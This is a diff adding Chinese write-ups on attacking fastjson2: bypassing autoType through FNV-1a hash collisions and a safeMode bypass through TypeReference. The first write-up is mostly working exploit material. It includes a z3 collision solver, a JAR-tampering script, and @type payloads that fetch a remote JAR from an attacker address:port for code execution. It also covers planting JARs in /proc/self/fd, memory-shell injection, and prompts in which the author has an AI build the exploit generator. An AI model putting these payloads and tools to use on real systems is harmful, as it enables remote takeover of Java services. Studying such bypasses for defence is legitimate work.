collision_str.encode('utf-8', errors='backslashreplace').decode('utf-8') + print(f" 未知部分字符串: \"{safe_str}\"") + print() + print("─" * 64) + print(" 使用提示") + print("─" * 64) + print() + # Java 形式: prefix 用 Unicode 转义 + 未知部分用 Unicode 转义 + prefix_unicode = ''.join(f'\\u{ch:04x}' for ch in prefix_chars) + unknown_unicode = ''.join(f'\\u{c:04x}' for c in result) + if prefix: + print(" 1. Java 中使用 (prefix + 未知部分, 全 Unicode 转义):") + print(f' String s = "{prefix_unicode}{unknown_unicode}";') + print() + prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8') + print(" 2. 或者 prefix 用字面量, 未知部分用 Unicode 转义:") + print(f' String s = "{prefix_display}" + "{unknown_unicode}";') + else: + print(" 1. Java 中使用 (用 Unicode 转义):") + print(f' String s = "{unknown_unicode}";') + print() + print(f" long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);") + print() + print(" 3. 这个字符串的 FNV-1a hash 等于目标 hash") + if min_char > 255: + print(" 4. 每个未知字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)") + print() + print("═" * 64) + + +if __name__ == '__main__': + main() +``` + + + +生成远程加载的 payload: + + + + +```python +heihu577 @ ~/Desktop ❯ python fnv_collision.py --prefix "jar:http:..2887610369.2333.Hello\!.Hello" -6293031534589903644 +════════════════════════════════════════════════════════════════ + FNV-1a 64 位哈希碰撞求解器 (z3) +════════════════════════════════════════════════════════════════ + + 目标 hash (有符号): -6293031534589903644 + 目标 hash (无符号): 12153712539119647972 + 目标 hash (十六进制): 0xa8aaa929446ffce4 + + 未知字符数: 5 + 字符范围: [256, 65535] + 已知前缀: "jar:http:..2887610369.2333.Hello!.Hello" + 前缀长度: 39 Java char(s) + 前缀含 >255 字符: 否 + 前缀处理后起始 hash: 0x3acee6a3e7fcfdce + (原始 OFFSET: 0xcbf29ce484222325) + 总字符串长度: 44 Java char(s) + + 求解中... + ✓ 找到解! 耗时 0.19s + +──────────────────────────────────────────────────────────────── + 碰撞结果 +──────────────────────────────────────────────────────────────── + + 原始目标 hash: 0xa8aaa929446ffce4 + 完整字符串 hash: 0xa8aaa929446ffce4 + 匹配: ✓ + + 已知前缀: "jar:http:..2887610369.2333.Hello!.Hello" + 未知部分 Code Points: [16676, 4874, 30874, 19441, 64757] + 未知部分 十六进制: [0x4124, 0x130a, 0x789a, 0x4bf1, 0xfcf5] + 未知部分 Unicode 转义: \u4124\u130a\u789a\u4bf1\ufcf5 + 未知部分字符串: "䄤ጊ碚䯱ﳵ" + +──────────────────────────────────────────────────────────────── + 使用提示 +──────────────────────────────────────────────────────────────── + + 1. Java 中使用 (prefix + 未知部分, 全 Unicode 转义): + String s = "\u006a\u0061\u0072\u003a\u0068\u0074\u0074\u0070\u003a\u002e\u002e\u0032\u0038\u0038\u0037\u0036\u0031\u0030\u0033\u0036\u0039\u002e\u0032\u0033\u0033\u0033\u002e\u0048\u0065\u006c\u006c\u006f\u0021\u002e\u0048\u0065\u006c\u006c\u006f\u4124\u130a\u789a\u4bf1\ufcf5"; + + 2. 或者 prefix 用字面量, 未知部分用 Unicode 转义: + String s = "jar:http:..2887610369.2333.Hello!.Hello" + "\u4124\u130a\u789a\u4bf1\ufcf5"; + + long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s); + + 3. 这个字符串的 FNV-1a hash 等于目标 hash + 4. 每个未知字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化) + +════════════════════════════════════════════════════════════════ +``` + + + +该 payload 能成功走向 loadClass 逻辑: + + + + +```java +String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}"; +// 不指定目标类,解析成 JSONObject +Object obj = JSON.parseObject(jsonWithType, Object.class); +System.out.println(obj); +``` + + + +最终结果: + + + + +![a7b4dea2-5b46-47c9-be42-46622c245c6a.png](https://i.ibb.co/JFb9GtS1/fe174e1c7c09.png) + + + + +### SpringBoot 中测试 + + +在 SpringBoot 中依旧能发送请求, 准备一个 SpringBoot 案例, 准备一个JSON.parseObject(可控,Object.class)可控端点即可. + + +#### fnv 计算步骤 + + +另外 Payload 使用 fastjson 1.2.83 的原有 payload 例如: + + + + +```java +jar:http:..2887610369:2333.Hello!.Hello +``` + + + +原封不动的将其丢到 fnv 计算器中: + + + + +![b5d4f583-9b49-47bc-bbd7-b508246c966e.png](https://i.ibb.co/pBcV5ZhY/b3c139ef515f.png) + + + +生成结果为: + + + + +```java +jar:http:..2887610369:2333.Hello!.Hello\ue94c\uc17c\uf770\ua803\uc0d3 +``` + + + + +#### 驻留 jar 步骤 + + +若想要在目标中驻留该 jar 包, 以维持后续的 fd 利用, 则需要 jar 包中已包含Hello\\ue94c\\uc17c\\uf770\\ua803\\uc0d3.class这个文件, 但该文件由于文件名称为 Unicode 编码, 使用编程的场景更加方便, 编写新 python 脚本配合 fnv 脚本使用: + + + + +```python +#!/usr/bin/env python3 +""" +JAR/ZIP 碰撞条目复制工具 - 配合 fnv_collision.py 使用 + +功能: + 将 JAR 中已有的 class 文件复制一份, 在文件名末尾 (扩展名前) 插入 + fnv_collision.py 求出的 unicode 字符, 形成新的 JAR 条目. + + 这样 JNDI jar: URL 加载时, fastjson 校验的类名 FNV hash 命中碰撞值, + 实际加载的却是新条目 (内容与原 class 一致). + +用法: + python3 jar_collision_copy.py <原class文件名> + +参数: + JAR文件 : 要修改的 JAR/ZIP 文件路径 + 原 class 文件名 : JAR 中已存在的 class 条目名 (如 Hello.class) + unicode 转义串 : \\uXXXX 格式字符串 (来自 fnv_collision.py 输出) + ★ 请用单引号包裹, 避免 shell 解释 \\u + +示例: + python3 jar_collision_copy.py ./Hello Hello.class '\\ue94c\\uc17c\\uf770\\ua803\\uc0d3' + + # 也可以直接传已解码的 unicode 字符 (双引号在 zsh 下会解码 \\u) + python3 jar_collision_copy.py ./Hello Hello.class "셼ꠃ샓" + +工作流程: + 1. 读取 JAR, 找到原 class 条目, 缓存其内容 + 2. 解析 unicode 转义串 (\\uXXXX -> 实际字符) + 3. 构造新条目名: <原文件名去扩展名> + <解码字符> + <扩展名> + 例: Hello.class + \\ue94c... -> Hello\\ue94c... uc17c... .class + 4. 创建临时 JAR, 复制所有原条目 + 追加新条目 + 5. 用临时 JAR 替换原 JAR + 6. 验证新条目存在且内容与原条目一致 +""" +import sys +import re +import os +import shutil +import zipfile +import tempfile + + +def decode_unicode_escapes(s): + """ + 将 \\uXXXX 格式的字符串解码为实际 unicode 字符. + 支持混合字面字符和转义序列: "Hello\\u4e16\\u754c" -> "Hello世界" + 若传入的已是实际字符 (无 \\u 转义), 原样返回. + """ + pattern = re.compile(r'\\u([0-9a-fA-F]{4})') + return pattern.sub(lambda m: chr(int(m.group(1), 16)), s) + + +def split_extension(name): + """ + 分离条目名的主体和扩展名. + Hello.class -> ('Hello', '.class') + com/foo/Bar.class -> ('com/foo/Bar', '.class') + Hello -> ('Hello', '') + """ + idx = name.rfind('.') + # 排除路径中的点 (如 com.foo/Bar 中的第一个点) + # 只认最后一个点, 且该点后面不是路径分隔符 + if idx > 0 and '/' not in name[idx:]: + return name[:idx], name[idx:] + return name, '' + + +def main(): + if len(sys.argv) != 4: + print(__doc__) + sys.exit(1) + + jar_path = sys.argv[1] + original_class = sys.argv[2] + unicode_str = sys.argv[3] + + # 解码 unicode 转义 + decoded = decode_unicode_escapes(unicode_str) + + # 分离原 class 文件名和扩展名 + base_name, ext = split_extension(original_class) + + # 构造新条目名: base_name + decoded + ext + new_entry_name = base_name + decoded + ext + + print("═" * 64) + print(" JAR 碰撞条目复制工具") + print("═" * 64) + print() + print(f" JAR 文件: {jar_path}") + print(f" 原 class 条目: {original_class}") + print(f" Unicode 输入: {unicode_str}") + print(f" 解码后字符: {repr(decoded)}") + print(f" 解码后 Unicode: {''.join(chr(c) for c in [ord(c) for c in decoded])!r}") + decoded_unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in decoded) + print(f" 解码后转义形式: {decoded_unicode_repr}") + print() + print(f" 新条目名: {repr(new_entry_name)}") + new_unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in new_entry_name) + print(f" 新条目 Unicode: {new_unicode_repr}") + print() + + # 检查 JAR 文件 + if not os.path.exists(jar_path): + print(f" ✗ JAR 文件不存在: {jar_path}") + sys.exit(1) + + # 读取原 class 内容并检查 + try: + with zipfile.ZipFile(jar_path, 'r') as zf: + names = zf.namelist() + if original_class not in names: + print(f" ✗ 原 class 条目 [{original_class}] 不在 JAR 中") + print() + print(" JAR 当前条目列表:") + for n in names: + display = n.encode('utf-8', errors='backslashreplace').decode('utf-8') + print(f" {display}") + sys.exit(1) + original_data = zf.read(original_class) + existing_new = new_entry_name in names + except zipfile.BadZipFile: + print(f" ✗ 不是有效的 ZIP/JAR 文件: {jar_path}") + sys.exit(1) + + print(f" ✓ 找到原条目 [{original_class}], 大小 {len(original_data)} 字节") + if existing_new: + print(f" ⚠ 新条目已存在, 将覆盖") + + # 创建临时文件, 复制所有条目 + 添加新条目 + fd, tmp_path = tempfile.mkstemp(suffix='.jar') + os.close(fd) + + try: + print() + print(" 写入新 JAR...") + with zipfile.ZipFile(jar_path, 'r') as src: + with zipfile.ZipFile(tmp_path, 'w', zipfile.ZIP_DEFLATED) as dst: + # 复制所有原条目 (跳过与新条目同名的, 稍后统一写) + for item in src.infolist(): + if item.filename == new_entry_name: + continue + # 用 ZipInfo 保留原条目的压缩方式/时间戳等元信息 + dst.writestr(item, src.read(item.filename)) + # 追加新条目 (内容复制自原 class) + dst.writestr(new_entry_name, original_data) + + # 用临时文件替换原 JAR + shutil.move(tmp_path, jar_path) + print(f" ✓ 已添加新条目") + + except Exception as e: + if os.path.exists(tmp_path): + os.unlink(tmp_path) + print(f" ✗ 操作失败: {e}") + sys.exit(1) + + # 验证结果 + print() + print("─" * 64) + print(" 验证结果") + print("─" * 64) + print() + with zipfile.ZipFile(jar_path, 'r') as zf: + names = zf.namelist() + print(f" JAR 条目列表 ({len(names)} 项):") + for n in names: + display = n.encode('utf-8', errors='backslashreplace').decode('utf-8') + unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in n) + marker = ' ★ 新增' if n == new_entry_name else '' + print(f" {display}{marker}") + if n == new_entry_name: + print(f" unicode: {unicode_repr}") + data = zf.read(n) + if data == original_data: + print(f" 内容校验: ✓ 与原条目一致 ({len(data)} 字节)") + else: + print(f" 内容校验: ✗ 与原条目不一致!") + print(f" 原条目: {len(original_data)} 字节, 新条目: {len(data)} 字节") + + print() + print("═" * 64) + + +if __name__ == '__main__': + main() +``` + + + +最终结果: + + + + +![1b89afac-0b2d-4146-b880-af329b0c4c63.png](https://i.ibb.co/tt96WTs/4291027d0aae.png) + + + +当前仅是驻留到受害机 /proc/{pid}/fd 中案例, 先使用 0kb 的文件做测试: + + + + +![图片.png](https://i.ibb.co/bcxJDxb/3098f6d4aae6.png) + + + +最终驻留成功. + + +#### POC 调试 & 攻击案例 + + +刚才的脚本仅仅是将jar 中的 class 文件名称符合传递的@type中的资源值, 若想要满足 RCE 还需要该 class 文件的内容(字节码)的类名同样带有 Unicode 编码. 此时对 AI 对我原 fastjson 1.2.83 的脚本进行说明了: + + + +```python +我这里有一个项目:/Users/heihu577/Desktop/fastjson2/tools/fastjson-1.2.83-rce-jar-generator-1.0.1/GenJarBatch.java,你可以 阅读一波 README.md 文件之后,再看一波该 java 源码,现在我给你定义新的需求。新增:fnv_add_unicode_file 功能,对 cmd 或 + defineClass 生成的 jar 文件进行分析。1: 分析出来 cmd 或 defineClass 生成的 jar 包,通过查看包名的形式能够定位到 fd0.Exception(假设生成的 class 文件是该结构,如果存在多个目录中存在 class 文件就依次进行如下操作),那么你可以通过 ASM 类库或者其他手段分析包名以及类名的结构来拼接为之前案例中的: python fnv_collision.py --prefix + "jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 中的 --prefix 部分(可能是 jar:file:.proc.self.fd.数字!. fd 数字.Exception)这种结构。2. 根据枚举出来的 包名类名结构,通过 python fnv_collision.py --prefix "jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 该脚本的逻辑来进行计算(是根据逻辑,但你需要写出对应 + java 模块的功能来使得与该 python 的结果一致才行),得到其后缀需要增加的 Unicode 码部分。3. 你已经知道了要增加什么 Unicode 编码之后,你需要将 Hello 类中的字节码中的类名部分进行修改(可以使用 asm 实现),修改为 “Hello+Unicode 值”,并且将该 class 文件加入到 jar 包中(文件名同样符合类名规律)。整个过程全部使用 java 语言,禁止 java 中嵌套 python。 +``` + +坐等很长时间后, 又优化了一些细节: + + + + +```python +最后生成的 jar 包中,不是含有 class 文件吗,然后会输出:“jar:file:.proc.self.fd.256!.fd256.Exception醍눲䕹ᄬ憬”,我现在想让你把每次处理完毕的结果保存到"result.txt" 中。并且内容是:jar:file:.proc.self.fd.!.fd.Exception,因为 fd 目录可能太多,然后你需要换行分割。 +``` + + + +用于爆破时使用. 但外部 http 需要远程下载 jar 到 /proc/self/fd 中, 继续给 AI 思路: + + + + +```python +现在对原有的 cmd/defineClass 做一个变更,就是写入 jar 文件中的 1.class 文件,为命令行中指明的 host 和 port 名称,或者整个命令行也可以。 +``` + + + +这是因为自己原编写的 fastjson 1.2.83 payload 的命令行参数存在攻击者 IP 和 PORT, 需要符合后续包名. + + + + +```python +让你做这一步,实际上是为了让你在 fnv_add_unicode_file 功能中增加两个需求:1. 解析 1.class 文件内容中的 ip 和 port 部分,组合为:jar:http:..:.<命令行中指明的文件名>!.1 2. 对组合结果进行 z3-fnv算法解方程,最后要拼接出:jar:http:..:.<命令行中指明的文件名>!.1 3. 拼接完成之后,在最终处理的 jar 包内增加这样一个真实文件,最最最后需要告诉用户首先使用该 payload 进行远程服务器下载。 +``` + +最终实现效果, 先是工具提示远程拉取: + + + + +![573738ea-efc8-460a-99ff-ecb6eda2b69d.png](https://i.ibb.co/Zp3xzttz/72223aeb2fcb.png) + + + +随后是工具生成的 result.txt 进行爆破: + + + + +![a822e005-77ce-4d25-a68e-51bafd390b33.png](https://i.ibb.co/cHTpXW3/5ffebf574ea5.png) + + + +另外这里调教 AI 使用了 java 的 z3 实现解方程的效果. + + +##### 内存马注入 + + +先是用工具生成 jar, 生成完毕之后进行转换为 FastJson2 版本, 等待 Hash 碰撞完整 jar: + + + + +![7f3a91df-e50e-4da5-9517-b447f97a7be8.png](https://i.ibb.co/twMfQfqT/881154ba7009.png) + + + +最终结果: + + + + +![图片.png](https://i.ibb.co/sdrrRTyF/3825801bf50c.png) + + + + +## 其他语法 + + +参考: [https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw](https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw) 师傅的两个姿势, 除了 JSON.parseObject 以外仍然可以通过: + + + + +```python +JSON.parseObject(可控,List.class) +JSON.parseObject(可控,Set.class) +JSON.parse(可控) +``` + + + +进行 RCE, 简单跟一下: + + + + +```java +String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}"; +// 不指定目标类,解析成 JSONObject +Object obj = JSON.parseObject(jsonWithType, List.class); +System.out.println(obj); +``` + + + + +![1eef94c8-abd1-4fa6-a96b-42e17bdde27a.png](https://i.ibb.co/mVk7zctZ/fdd5e6745113.png) + + + +以及: + + + + +```java +String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}"; +// 不指定目标类,解析成 JSONObject +Object obj = JSON.parseObject(jsonWithType, Set.class); +``` + +![e9c10b23-f713-4caf-a5c9-ab3490792764.png](https://i.ibb.co/23dmfmpp/ed8a5f6df09d.png) + + + +以及: + + + + +```java +String jsonWithType = "[{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}]"; +// 不指定目标类,解析成 JSONObject +Object obj = JSON.parse(jsonWithType); +System.out.println(obj); +``` + + + + +![07bf767e-feb0-4b96-89c0-7d868e03622b.png](https://i.ibb.co/1JhWNBgd/70c115ef590b.png) + + + +相对于 JSON.parse 来说, 多了一步选择器的操作: + + + + +![adf17043-6a29-4ae2-8df6-5b6c01e3029d.png](https://i.ibb.co/x8LS4Lrn/25febf05f1c0.png) + + + + +### 其他补充 + + +往上找一下看还有哪些语法能够调用该方法的 readObject, 查找了一番有如下类: + + + + +```java +JSON.parseObject(jsonWithType, Collection.class); +JSON.parseObject(jsonWithType, ArrayList.class); +JSON.parseObject(jsonWithType, HashSet.class); +JSON.parseObject(jsonWithType, Comparable.class); +JSON.parseObject(jsonWithType, Serializable.class); +JSON.parseObject(jsonWithType, Cloneable.class); +JSON.parseObject(jsonWithType, Closeable.class); +JSON.parseObject(jsonWithType, Object[].class); +``` + +规律参考: + + +| 子类 | 类型 | +| --- | --- | +| List 系 | Iterable, Collection, List, AbstractCollection, AbstractList, ArrayList, Stack | +| Queue/Deque 系 | Queue, Deque, AbstractSequentialList, LinkedList, ConcurrentLinkedDeque, ConcurrentLinkedQueue, CopyOnWriteArrayList | +| Set 系 | Set, AbstractSet, EnumSet, NavigableSet, SortedSet, ConcurrentSkipListSet, LinkedHashSet, HashSet, TreeSet | + + +可能还有更多 parseObject 手法可打. + + + + +## Ending... diff --git "a/books/Fastjson2 \346\263\233\345\236\213\346\223\246\351\231\244\344\270\213\347\232\204 autoType \347\273\225\350\277\207.md" "b/books/Fastjson2 \346\263\233\345\236\213\346\223\246\351\231\244\344\270\213\347\232\204 autoType \347\273\225\350\277\207.md" new file mode 100644 index 000000000..a1c712c73 --- /dev/null +++ "b/books/Fastjson2 \346\263\233\345\236\213\346\223\246\351\231\244\344\270\213\347\232\204 autoType \347\273\225\350\277\207.md" @@ -0,0 +1,671 @@ +# Fastjson2 泛型擦除下的 autoType 绕过 +> QIANXIN Team +> 来源:https://forum.butian.net/share/5005 + +fastjson2 的 safeMode 被广泛视为反序列化安全的兜底开关。但它的生效范围取决于 `checkAutoType` 的调用位置——`checkAutoType` 只在以字符串为入参的 `getObjectReader(String, Class, long)` 重载中被调用。当反序列化的目标类型由 `TypeReference` 承载时,调用链改走 `getObjectReader(Type, boolean)`,该重载从头到尾不经过 `checkAutoType`。safeMode 在这条路径上不产生拦截效果。 + +## 环境 + +```php + +mvn dependency:get -Dartifact=com.alibaba.fastjson2:fastjson2:2.0.43 +mvn dependency:get -Dartifact=com.alibaba.fastjson2:fastjson2:2.0.51 + + +mkdir -p /tmp/com/bypass +``` + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785139395915-89c3f346-1112-421e-bf51-c0d50765f6ac.png) + +## 入口在哪 + +`ObjectReaderProvider` 是 fastjson2 的反序列化器注册中心。两个缓存字段: + +core/src/main/java/com/alibaba/fastjson2/reader/ObjectReaderProvider.java + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785139662940-337c330f-35ed-404e-b777-df369d8f919a.png) + +String 入口(行 514-526)——有 `checkAutoType`: + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785139833677-2c1079b7-e92c-45e3-a319-1a6a5869a482.png) + +Type 入口(行 709 + 727-746)——无 `checkAutoType`: + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785139896046-315913c2-a6c0-4f53-a23b-315b2b14731e.png) + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785139960670-6ac23dc9-d055-4229-92a9-5317c0b81b15.png) + +签名里没有 `long features` 参数——`SupportAutoType` 标记位无法传入。缓存命中时连 `getObjectReaderInternal` 都不进入。 + +`checkAutoType`(行 538-555)在 safeMode 下返回 `null`,不抛异常: + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785140070002-a2e82a51-0a84-4a32-b7c9-d9d972a44e0c.png) + +调用方 `getObjectReader(String,...)` 收到 null 后自身返回 null,最终由上层(`ObjectReaderImplObject.readObject` 的 `getObjectReaderAutoType` 调用点)决定是否报错。 + +![](https://cdn.nlark.com/yuque/__mermaid_v3/60d4fefb59b8a5c5c9649a926937b777.svg) + +`checkAutoType` 在 Type 路径完整调用链中出现次数:零。 + +* * * + +## 谁在信任谁 + +从 `JSON.parseObject(json, TypeReference)` 到 XClass 的 ObjectReader 被创建,链条上每个节点都不经过 `checkAutoType`。 + +**第 1 层**——`JSON.java` 行 920-940: + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785140294277-bcec58da-3658-4456-990f-7366f67185a4.png) + +**第 2 层**——`ObjectReaderProvider.getObjectReader(Type, boolean)`(行 727):先查 `cache.get(objectType)`,未命中进入 `getObjectReaderInternal`。 + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785140688379-8ecdabfb-a102-4354-8303-19b46afdc33e.png) + +**第 3 层**——`getObjectReaderInternal`(行 749-805),遍历 modules 和 ParameterizedType 解析: + +```php +private ObjectReader getObjectReaderInternal(Type objectType, boolean fieldBased) { + for (ObjectReaderModule module : modules) { + objectReader = module.getObjectReader(this, objectType); + if (objectReader != null) { + ObjectReader previous = fieldBased + ? cacheFieldBased.putIfAbsent(objectType, objectReader) + : cache.putIfAbsent(objectType, objectReader); + return previous != null ? previous : objectReader; + } + } + if (objectType instanceof ParameterizedType) { + ParameterizedType pt = (ParameterizedType) objectType; + Type rawType = pt.getRawType(); + + } +} +``` + +**第 4 层**——`ObjectReaderBaseModule.getObjectReader(provider, type)`(行 1429)。对 `ParameterizedType` 的 rawType 做实例判断,分发到对应工厂方法: + +```php + +public ObjectReader getObjectReader(ObjectReaderProvider provider, Type type) { + if (type instanceof Class) { + Class clazz = (Class) type; + if (Map.class.isAssignableFrom(clazz)) { + + return ObjectReaderImplMap.of(type, clazz, 0); + } + if (List.class.isAssignableFrom(clazz)) { + return ObjectReaderImplList.of(type, clazz, 0); + } + } + if (type instanceof ParameterizedType) { + ParameterizedType pt = (ParameterizedType) type; + Type rawType = pt.getRawType(); + if (rawType instanceof Class) { + Class rawClass = (Class) rawType; + if (Map.class.isAssignableFrom(rawClass)) { + + return ObjectReaderImplMap.of(type, rawClass, 0); + } + if (List.class.isAssignableFrom(rawClass)) { + return ObjectReaderImplList.of(type, rawClass, 0); + } + } + } +} +``` + +当 `type` 只是裸 `Map.class` 时,`ObjectReaderImplMap.of()` 收到的 `fieldType` 不是 `ParameterizedType`,行 98 的 `instanceof ParameterizedType` 检查不通过,不会创建 `ObjectReaderImplMapTyped`。此时必须靠 JSON 中的 `@type` 走 String 路径来解析值的具体类型——这就是 safeMode 可以拦截的路径。 + +**第 5 层**——`ObjectReaderImplMap.of()`(行 43-193)。核心任务是从 `ParameterizedType` 的 `actualTypeArguments` 中提取 valueType(行 98-109): + +```php +if (fieldType instanceof ParameterizedType) { + ParameterizedType pt = (ParameterizedType) fieldType; + Type[] args = pt.getActualTypeArguments(); + if (args.length == 2 && ...) { + Type keyType = args[0]; + Type valueType = args[1]; + return new ObjectReaderImplMapTyped( + mapType, instanceType, keyType, valueType, 0, builder + ); + } +} +``` + +**第 6 层**——`ObjectReaderImplMapTyped`。构造函数(行 34-58)仅存储 valueType 字段,valueReader 的解析发生在两个时机。 + +构造期——`createInstance`(行 66-132),当输入 Map 的值是 JSONObject/JSONArray/Map/Collection 时触发(行 90-94): + +```php + +if (valueType == Object.class) { + +} else if (valueClass == JSONObject.class || ...) { + if (valueObjectReader == null) { + valueObjectReader = provider.getObjectReader(valueType); + + } +} +``` + +`valueType == Object.class` 的分支什么也不做——这是 C 组(`TypeRef>`)被拦截的根因:valueReader 未创建,后续 value 读取无法走 Type 路径。 + +运行时——`readObject`(行 276-395),行 382 的 valueReader 懒加载: + +```php + +if (valueObjectReader == null) { + valueObjectReader = jsonReader.getObjectReader(valueType); + +} +Object value = valueObjectReader.readObject(jsonReader, valueType, fieldName, 0); +``` + +六层调用链上 `checkAutoType` 调用次数为零。 + +* * * + +## 泛型的痕迹 + +六层调用链走到最后,关键在于 `ObjectReaderImplMap.of()` 从 `ParameterizedType.actualTypeArguments[1]` 中取出了 `XClass.class`。这个 `Class` 对象之所以在运行时存在,是因为 JVM §4.7.9.1 的 Signature 属性。 + +创建 `GenAnon.java`,用 TypeReference 声明泛型,编译后反编译匿名子类: + +GenAnon.java —— 编译后产生 GenAnon$1.class + +```php + +import com.alibaba.fastjson2.TypeReference; + +public class GenAnon { + public static void main(String[] args) { + TypeReference> ref = + new TypeReference>() {}; + System.out.println(ref.getType()); + } +} +``` + +编译并反编译匿名子类: + +```php +JAR=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar + javac -cp "$JAR:/tmp" /tmp/GenAnon.java -d /tmp + javap -v -c -p /tmp/GenAnon\$1.class +``` + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785141823814-21e1a2af-5b16-4af1-acbc-cea8e0eab764.png) + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785141749914-afecede6-4d4e-4eb2-b173-858325eaaecb.png) + +### XClass 从 class 文件到 ObjectReader 的传递 + +![](https://cdn.nlark.com/yuque/__mermaid_v3/ea241dba77d27e2314fd250b958bea62.svg) + +前四阶段均在 fastjson2 外部——分别由 javac、JVM、反射 API 完成。第五阶段进入 fastjson2 的 Type 路径,不经过 checkAutoType。 + +* * * + +## cache 抢跑 + +`ObjectReaderProvider` 行 149-150 的 `ConcurrentHashMap` 缓存是绕过的放大器。 + +`getObjectReader(Type, boolean)`(行 727)先 `cache.get(objectType)`。首次未命中时进入 `getObjectReaderInternal`,在 module 解析成功后写入缓存(行 755-757): + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785141958550-b0a27a9c-59e9-4df1-ae07-fbd8a16b4f1f.png) + +后续同一个 `ParameterizedTypeImpl` 再次请求时,`cache.get()` 直接返回——不进入 module 迭代、不进入 `ObjectReaderImplMap.of()`,与 `checkAutoType` 相关的任何逻辑都不触发。 + +先创建依赖类: + +com/bypass/XClass.java—— 观测类,static{} 打桩 + +```php +package com.bypass; + +public class XClass { + static { System.out.println("[XClass] "); } + + private String name; + private int value; + + public String getName() { return name; } + public void setName(String name) { this.name = name; } + public int getValue() { return value; } + public void setValue(int value) { this.value = value; } + + public String toString() { + return "XClass{name='" + name + "', value=" + value + "}"; + } +} +``` + +/tmp/CacheWarmup.java —— 观测首次与二次解析的耗时差异 + +```php +import com.alibaba.fastjson2.*; +import java.util.Map; + +public class CacheWarmup { + public static void main(String[] args) { + String json = "{\"x\":{\"@type\":\"com.bypass.XClass\",\"name\":\"w\",\"value\":1}}"; + TypeReference> typeRef = + new TypeReference>() {}; + + + long t0 = System.nanoTime(); + Map r1 = JSON.parseObject(json, typeRef, + JSONReader.Feature.SupportAutoType); + long t1 = System.nanoTime(); + System.out.println("首次: " + (t1 - t0) / 1000 + " µs | value class: " + + r1.get("x").getClass().getName()); + + + long t2 = System.nanoTime(); + Map r2 = JSON.parseObject(json, typeRef, + JSONReader.Feature.SupportAutoType); + long t3 = System.nanoTime(); + System.out.println("二次: " + (t3 - t2) / 1000 + " µs | value class: " + + r2.get("x").getClass().getName()); + } +} +``` + +编译运行: + +```php +JAR=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar +javac -cp "$JAR" /tmp/XClass.java -d /tmp +javac -cp "$JAR:/tmp" /tmp/CacheWarmup.java -d /tmp +java -cp "/tmp:$JAR" CacheWarmup +``` + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785142293376-633c25d0-7b5f-4118-aa88-c6522adeaa54.png) + +统计 `ObjectReaderProvider` 中每个方法的 `checkAutoType` 调用次数: + +```php +JAR=~/.m2/repository/com/alibaba/fastjson2/fastjson2/2.0.43/fastjson2-2.0.43.jar +javap -c -p -classpath "$JAR" \ + com.alibaba.fastjson2.reader.ObjectReaderProvider \ + | awk ' + /public|protected|private/ && /\(.*\)/{ + if(in_m) print method " -> checkAutoType: " ct + method=$0; in_m=1; ct=0; next + } + /^$/ && in_m{ print method " -> checkAutoType: " ct; in_m=0 } + in_m && /checkAutoType/{ ct++ } + ' +``` + +![](https://cdn.nlark.com/yuque/0/2026/png/40517814/1785142938645-cb054411-2553-42db-99c6-bb33b89ec803.png) +① getObjectReader(String, Class, long) → checkAutoType: 1 String 入口,整个 Provider 中唯一调用 checkAutoType 的重载 + +② getObjectReader(Type) → checkAutoType: 0 + +Type 单参入口,不调 checkAutoType + +③ getObjectReader(Type, boolean) → checkAutoType: 0 + +Type 双参入口,不调 checkAutoType,是 JSON.parseObject(TypeReference) 的调用目标 + +④ getObjectReaderInternal(Type, boolean) → checkAutoType: 0 + +cache miss 后的内部递归入口,同样不调 checkAutoType + +checkAutoType 只覆盖 String 入参的路径。两个 Type 重载及内部递归方法全部不调 checkAutoType,safeMode 对 TypeReference 入口无拦截能力。 + +### cache 状态转换 + +![](https://cdn.nlark.com/yuque/__mermaid_v3/ecc060f05e595c697fb7e82cbeef8e1c.svg) + +上图上半部分为首次解析(cache miss),下半部分为后续解析(cache hit)。首次走 module 迭代和 putIfAbsent,后续直接从 ConcurrentHashMap.get 返回——后续不再进入 module、不再进入 ObjectReaderImplMap.of、不再进入与 checkAutoType 相关的任何调用链。 + +* * * + +## 三组绕行,三组降级 + +SafeModeMatrix.java —— 六组入口在 safeMode 下的行为对比 + +```php +import com.alibaba.fastjson2.*; +import java.util.*; + +public class SafeModeMatrix { + + static String mapJson = 